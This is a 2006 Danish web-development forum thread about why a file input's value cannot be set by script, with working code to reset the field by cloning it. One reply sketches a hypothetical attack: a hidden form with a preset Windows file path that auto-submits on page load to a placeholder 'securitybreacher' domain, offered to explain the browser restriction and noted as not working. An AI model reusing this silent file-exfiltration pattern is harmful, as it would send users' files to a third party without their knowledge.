Avatar billede dugi Nybegynder
17. juni 2006 - 22:20 Der er 15 kommentarer

ændre value i input=file - hvordan?

Hejsa,

Jeg kunne godt tænke mig, at ændre mit <input type="file"> felt's value. Kan dette lade sig gøre?

Har prøvet med document.getElementById('upl').value = 'hej'; men det ser ikke ud til at virke. Har også prøvet innerHTML og innerText uden held.

Nogle idéer eller løsninger? :)
På forhånd tak.

Mvh
Morten
Avatar billede mclemens Nybegynder
17. juni 2006 - 23:13 #1
[ Kan dette lade sig gøre? ]
Nej, "heldigvis" :o)
Avatar billede dugi Nybegynder
17. juni 2006 - 23:20 #2
Øv altså.
Det er fordi jeg har sådan nogle <div> som åbner og lukkes - men hvis jeg vælger en fil i upload feltet og lukker <div>'en, men så er filen stadig og bliver også uploaded :/

Har du nogen idé, til hvordan dette kan løses?
Avatar billede mclemens Nybegynder
17. juni 2006 - 23:26 #3
Fjern elementet dymamisk med javascript og tilføj det ved åbning af div'en igen...
- Checker lige om man kan nulstille ... ved bare at man ikke kan ændre det ...
Avatar billede mclemens Nybegynder
17. juni 2006 - 23:35 #4
Nulstilling kunne jeg ikke... man vi kan slette
den gamle og oprette en ny samme sted... :o)


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><meta http-equiv="content-type" content="text/html; charset=iso-8859-1"><title>Ingen titel</title>

<script type="text/javascript">
function inpreset(){
tn=document.getElementById("uploadfil");
newinp=tn.cloneNode(true);
tn.offsetParent.insertBefore(newinp,tn);
tn.offsetParent.removeChild(tn);

}
</script>

</head><body>
<input type="file" id="uploadfil"><br><br><br><br><br>

<b onclick="inpreset();">Nulstil ... skal nok integreres i din div'hidde funktion...</b>
</body></html>
Avatar billede mclemens Nybegynder
17. juni 2006 - 23:36 #5
man vi kan slette -> men vi kan slette
... det er nu rart at jeg ikke laver
så mange taste fejl i koderne :D
Avatar billede dugi Nybegynder
17. juni 2006 - 23:45 #6
Nu er jeg ikke verdens mester til javascript - men jeg vil super gerne lære det.
Så hvis du gad uddybe de funktioner du bruger?

Har aldrig hørt om cloneNode og offsetParent osv :)

Prøver dit eksempel om lidt - danskerne er kørt af banen i Le Mans, bliver jeg sgu lige nød til at se :D
Avatar billede mclemens Nybegynder
17. juni 2006 - 23:45 #7
Bemærk Firefox kopierer åbenbart det hele også value ... det gør IE ikke :/ ... her er en forkortet udgave af ovenstående... hvor ff også er med :o)

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><meta http-equiv="content-type" content="text/html; charset=iso-8859-1"><title>Ingen titel</title>

<script type="text/javascript">
function inpreset(){
tn=document.getElementById("uploadfil");tn.value="";
tn2=tn.cloneNode(true);tn.replaceNode(tn2)
}
</script>

</head><body>
<input type="file" id="uploadfil"><br><br><br><br><br>

<b onclick="inpreset();">Nulstil ... skal nok integreres i din div'hidde funktion...</b>
</body></html>
Avatar billede mclemens Nybegynder
17. juni 2006 - 23:53 #8
cloneNode opretter en kopi af objectet. (gemmes som tn2 her)
offsetParent griber fat i objectet hvor det angivne object ligger i.
replaceNode erstatter et angivet object.
tn=document.getElementById("noget") indhenter en reference til et element og opbevarer den som tn i dette tilfælde
insertbefore indsætter objectet før et element

- Jeg er også selv lidt ny i js, startede først med kodning da jeg oprettede en bruger heinde i marts ... så tænkte jeg, hov den kan jeg da lave ... og før man får set sig om går det ret hurtigt med at lære javascript ... har dog læst javascript 1.5 fra IDG øh, sludder forlaget er solgt det hedder nu Libris ...

... her finder du lidt mere info ... pas dog på - du kan
løbe ind i ms only ting så husk at checke firefox også :o)
http://msdn.microsoft.com/library/default.asp?url=/workshop/author/dhtml/reference/dhtml_reference_entry.asp
Avatar billede elskermad.dk Nybegynder
18. juni 2006 - 00:37 #9
mclemens: du siger heldigvis til man ikke kan ændre value'en... hvad er grunden til det? har tit ærget mig over man ikke kan - ville være rart at det var indsat i feltet hvis man blev sendt tilbage til en side pga. en fejl!

er det pga. sikkerhed af at man ikke skal vide hvor brugerens lokale filer ligger?
Avatar billede mclemens Nybegynder
18. juni 2006 - 00:46 #10
Hvis nu du gik ind på en side og havde javascript aktiveret - så lå der måske et skjult input felt med type="file" i en form (kan selvfølgelig ses i vis kilde) eller som var oprettet med et seperat indhentet javascript og appended til dokumentet ... ok, det kunne du så se hvis du brugte java script: alert(document.body.innerHTML) i browseren...

Så kunne man jo sætte værdien til forskellige filer (via. javascript onload eller inden load) ... en del win filer lægger jo samme sted på alle maskiner...

Og så når personen trykker på en tilfældig post knap der er stylet som et almindeligt link aktiverer han (css baggrund, border, cursor, color m.v.) så afsendte den kritiske følsomme filer fra pc'en...

Problemet er ikke så meget om man ved hvor de lægger man mere det at man kan bestemme hvilke filer brugeren skal afsende til en uden deres viden... Han vil selvfølgelig få en advarsel ved post submitting men mindre filer kan også sendes med get...
Avatar billede mclemens Nybegynder
18. juni 2006 - 00:56 #11
Kunne selvfølgelig også bare køres via en onload submitter...

<script type="text/javascript">
window.onload=function(){
document.test.submit();
}
</script>

...

<form method="get" action="http://www.et_E-l-ller-andet_domaene.com/securitybreacher.php_eller-asp" name="test">
<input type="file" value="C:\windows\sti-til-fil\filnavn.ini">
</form>

...

Men som sagt, så virker det "heldigvis" ikke :o)
Avatar billede mclemens Nybegynder
18. juni 2006 - 01:02 #12
- Kan dog godt se problemet
med retur side funktionen :o)
Avatar billede elskermad.dk Nybegynder
18. juni 2006 - 09:02 #13
Argh ja nu kan jeg bedre se problemet - Så er det vel logisk nok at det ikke er muligt :)
Avatar billede mclemens Nybegynder
18. juni 2006 - 13:22 #14
Jeg ser lige at Firefox giver en fejl ved det sidste forslag, da den ikke vil kendes ved replaceNode ... så for ikke at få "fejlen" må vi nok hellere bruge replaceChild :D


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><meta http-equiv="content-type" content="text/html; charset=iso-8859-1"><title>Ingen titel</title>

<script type="text/javascript">
function inpreset(){
tn=document.getElementById("uploadfil");tn.value="";
tn2=tn.cloneNode(true);tn.offsetParent.replaceChild(tn2,tn);
}
</script>

</head><body>
<input type="file" id="uploadfil"><br><br><br><br><br>

<b onclick="inpreset();">Nulstil ... skal nok integreres i din div'hidde funktion...</b>
</body></html>
Avatar billede mclemens Nybegynder
23. juli 2006 - 19:01 #15
. lukketid?
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview
Kategori
Vi tilbyder markedets bedste kurser inden for webudvikling

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Du kan også logge ind via nedenstående tjenester